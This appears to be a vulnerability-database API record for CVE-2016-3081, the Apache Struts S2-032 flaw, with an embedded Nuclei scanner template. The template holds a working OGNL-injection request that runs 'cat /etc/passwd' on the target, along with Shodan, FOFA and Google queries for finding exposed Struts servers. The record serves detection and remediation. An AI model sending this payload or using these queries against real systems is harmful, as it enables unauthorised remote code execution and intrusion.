{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2016-3081/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2016-3081/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2016-3081/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2016-3081/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2016-3081/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2016-3081"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2016-3081"
    }
  },
  "enrichments": {
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2016/CVE-2016-3081.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2016-3081\n\ninfo:\n  name: Apache S2-032 Struts - Remote Code Execution\n  author: dhiyaneshDK\n  severity: high\n  description: |\n    Apache Struts 2.3.19 to 2.3.20.2, 2.3.21 to 2.3.24.1, and 2.3.25 to 2.3.28, when dynamic method invocation is enabled, allows remote attackers to execute arbitrary code via method: prefix (related to chained expressions).\n  impact: |\n    Remote code execution\n  remediation: |\n    Upgrade to Apache Struts version 2.3.20.2, 2.3.24.2, or 2.3.28.1.\n  reference:\n    - https://cwiki.apache.org/confluence/display/WW/S2-032\n    - https://struts.apache.org/docs/s2-032.html\n    - https://nvd.nist.gov/vuln/detail/CVE-2016-3081\n    - http://web.archive.org/web/20211207042547/https://securitytracker.com/id/1035665\n    - http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20160527-01-struts2-en\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 8.1\n    cve-id: CVE-2016-3081\n    cwe-id: CWE-77\n    epss-score: 0.93352\n    epss-percentile: 0.99835\n    cpe: cpe:2.3:a:apache:struts:2.0.0:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: apache\n    product: struts\n    shodan-query:\n      - http.html:\"apache struts\"\n      - http.title:\"struts2 showcase\"\n      - http.html:\"struts problem report\"\n    fofa-query:\n      - body=\"struts problem report\"\n      - title=\"struts2 showcase\"\n      - body=\"apache struts\"\n    google-query: intitle:\"struts2 showcase\"\n  tags: cve2016,cve,struts,rce,apache,vuln,vkev\n\nhttp:\n  - raw:\n      - |\n        GET /index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=cat%20/etc/passwd HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: regex\n        regex:\n          - \"root:.*:0:0:\"\n\n      - type: status\n        status:\n          - 200\n# digest: 490a0046304402202cc0c778d29f21d8952526762f228e67611fb7cd0c04f763af83959a7240dda102207b0d029338e2c988cd63f08e5a1f4b79a70003f39d9ca583c9705b08760764e1:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2016-3081"
}